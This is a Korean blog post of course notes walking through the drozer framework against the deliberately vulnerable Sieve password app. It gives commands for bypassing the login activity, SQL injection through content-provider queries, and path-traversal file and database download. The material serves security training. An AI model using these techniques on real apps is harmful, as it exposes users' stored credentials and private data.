모바일 앱 리버싱 도구 drozer를 이용하여 앱 분석하기
##Drozer? - android 공격 프레임워크
1) 동작 방식
- Drozer Agent를 Android Emulator에서 실행
- Drozer Console에 접속하여 command를 입력
- command 실행 결과가 console 상애 출력됨
- command 실행 결과에 대한 분석 진행
2) 특징
- 실제 기기와 Android Emulator에서 Android 보안 동적 테스트 실행 가능
- 테스트 자동화 및 추가 모듈 확장 가능
- Android Public Exploits에 Test 가능
- 정적 테스트 기능은 없음!
3) 사용 오픈소스 도구
- Tools - Android SDK (Emulator, ADB)
- JAVA Development Kit (JDK)
4) 도출 가능한 취약점 목록
- Retrieving Package Information
- Identify the Attack Surface
- Activities 분석
- Content Provider Vulnerabilities
- Broadcast Receivers 분석
5) Requirements
- Python2.7 Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable. (3 말고 2.7로!!)
- Protobuf 2.6 or greater
- Pyopenssl 16.2 or greater
- Twisted 10.2 or greater
- Java Development Kit 1.7 Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable.
- Android Debug Bridge
##drozer 실습
[1] 설치
https://labs.f-secure.com/tools/drozer/
Drozer
labs.f-secure.com
https://github.com/FSecureLABS/drozer
GitHub - FSecureLABS/drozer: The Leading Security Assessment Framework for Android.
The Leading Security Assessment Framework for Android. - GitHub - FSecureLABS/drozer: The Leading Security Assessment Framework for Android.
github.com
C:\Users\yoon2\AppData\Local\Android\Sdk\platform-tools>adb install C:\Users\yoon2\Downloads\sieve.apk
sieve.apk - 설정한 pw;12345678987654321
-> 패스워드 관리 앱! (drozer test 앱)
[2] 명령어
run [module] | drozer 모듈 실행 |
list | 현재 세션에서 실행 가능한 모든 drozer 모듈 출력 (적절한 실행 권한 없을 경우 : 몇몇 모듈 감춰짐) |
shell | agent 프로세스가 설치되어 있는 디바이스의 Linux shell 실행 |
cd | 모듈의 full name을 반복적으로 입력하는 것을 피하기 위해서 root 세션의 namespace를 마운트 |
clean | drozer에 의해 안드로이드 디바이스에 생성된 임시 파일 삭제 |
contributors | drozer 프레임워크 & 모듈 제작자 출력 |
echo | text를 console에 출력 |
exit | drozer 세션 종료 |
help | 특정 모듈/명령에 대한 도움말 출력 |
load | drozer 명령이 포함된 파일 로딩 후 실행 |
module | 인터넷에서 추가 drozer 모듈 찾고 설치 |
permissions | drozer agent에 주어진 권한 출력 |
set | 환경변수 등록 |
unset | 환경변수 해제 |
[3] 앱 보안 취약점 분석
↙ mwri 문서 ↘
https://labs.f-secure.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf
앱 -> 패키지처럼
패키지의 정보 추출(앱 이름만 아는 상태. 패키지명을 알아야 함!!)
dz> run app.package.list -f sieve
->알아낸 패키지명으로 패키지 정보 추출
dz> run app.package.info -a com.mwr.example.sieve
; uses permission도 나옴! (안드로이드 자체 permission)
defines permission(새로 정의한 permission)
drozer에서 manifest 파일 읽을 수 있음
dz> run app.package.manifest com.mwr.example.sieve
;manifest 파일에서 중점적으로 볼 것
-permission(위 부분은 앱 전체/ 밑 부분은 각각의 activity(각 화면))
-provider(액티비티 간에 정보 주고받을 때, db에 대한 접근에 대한 설정)
-service(백그라운드에서 돌아가고 있는 프로그램, 화면에서는 안 보임)
-> 위 세 가지에 대한 정의
+) 사용자 정의 permission도 확인 가능
▣ 3.3
공격 범위 찾기
dz> run app.package.attacksurface com.mwr.example.sieve
exported - 다른 앱에서 내 앱 접근할 수 있다 ==> 원래는 없게 해야 함! 굉장히 취약
is debuggable ; adb로 디버거 가능!
▣ 3.4
액티비티 정보 추출
dz> run app.activity.info -a com.mwr.example.sieve
permission이 없는 거만 출력됨 -> 외부에서 접근 가능한 액티비티만
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
[패키지명] [액티비티명]
-> 로그인 페이지 건너뛰고 바로 비밀번호 페이지로 갈 수 있음
▣ 3.5
provider 정보 추출
dz> run app.provider.info -a com.mwr.example.sieve
Read Permission: null
Write Permission: null
-> 외부에서 읽고 쓰기 가능!
provider : 데이터를 주고받을 때 사용
a앱이 b앱 데이터에 접근하고 싶을 때!
-> uri로 접근 ; content://app.appname/keys
content에 대한 uri를 가지고 있고 이를 통해 데이터 접근 가능
permission이 없기 때문에 uri만 알고 있으면 접근 가능
-> drozer가 찾아줌
dz> run scanner.provider.finduris -a com.mwr.example.sieve
=> 쿼리문 날릴 수 있는
접근 가능한 end-point가 세 개!
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
+) Keys
▣ 3.5.2
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
-> unrecognized token: "' FROM Passwords" (code 1 SQLITE_ERROR): , while compiling: SELECT ' FROM Passwords
Passwords db에 저장되는 것을 알 수 있음 (안드로이드는 SQLite)
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ -- projection "* FROM SQLITE_MASTER WHERE type='table';--"
db에 대한 db : sqlmaster !
테이블명을 가져오기!
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
▣ 3.5.3
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
오픈된 정보라 딱히 문제 되지는 않음
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data /data/data/com.mwr.ex
ample.sieve/databases/database.db /home/user/database.db
-> unrecognized arguments: /home/user/database.db
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /tmp/database.db
찾는 법 -> 안드로이드 스튜디오 ; view -> tool windows ->device file explorer
/data/data/com.mwr.example.sieve/databases/database.db
다운로드한 위치에서 sqlite로 db 열람 가능
(다운로드 권한/읽는 권한)
▣ 3.5.4
스캐너 도구
dz> run scanner.provider.injection -a com.mwr.example.sieve
(인젝션 가능한)
dz> run scanner.provider.traversal -a com.mwr.example.sieve
(접근 가능한)
▣ 3.6
서비스
dz> run app.service.info -a com.mwr.example.sieve
-> 디컴파일도 같이 병행해서,,!
exploit은 보충!
'보안 > android' 카테고리의 다른 글
[앱][리버싱] 7주차 정리+과제 ; frida를 이용한 rooting 탐지 우회 (0) | 2021.10.28 |
---|---|
[앱][리버싱] 앱 후킹 도구 frida 설치 (0) | 2021.10.28 |
[앱][리버싱] 4,5주차 정리 ; ADB로 앱 디버깅 (0) | 2021.10.28 |
[앱][리버싱] 과제보충 (0) | 2021.09.17 |
[앱][리버싱] 2,3주차 정리+과제 ; 안드로이드 파일시스템 & 데이터 구조 / 디컴파일 (0) | 2021.09.10 |